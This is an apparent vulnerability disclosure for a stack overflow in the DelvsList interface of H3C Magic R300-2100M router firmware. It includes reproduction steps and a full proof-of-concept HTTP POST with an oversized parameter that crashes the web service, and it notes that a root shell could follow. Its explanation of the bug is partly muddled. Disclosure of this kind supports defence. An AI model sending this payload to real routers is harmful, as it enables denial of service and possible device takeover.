# H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: `H3C` `Magic R300-2100M` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li,Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. ![](https://i.imgur.com/LCb0yxd.png) ![](https://i.imgur.com/dtJI92p.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. ![](https://i.imgur.com/MjBbyN0.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic_R300-2100M to newest firmware(we have a physical machine) 2. Login to as admin 3. Attack with the following POC ![](https://i.imgur.com/PpMbygV.png) ![](https://i.imgur.com/fWslGFH.png) ``` POST /goform/aspForm HTTP/1.1 Host: Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG= Connection: close Content-Length: 321 CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. ![](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.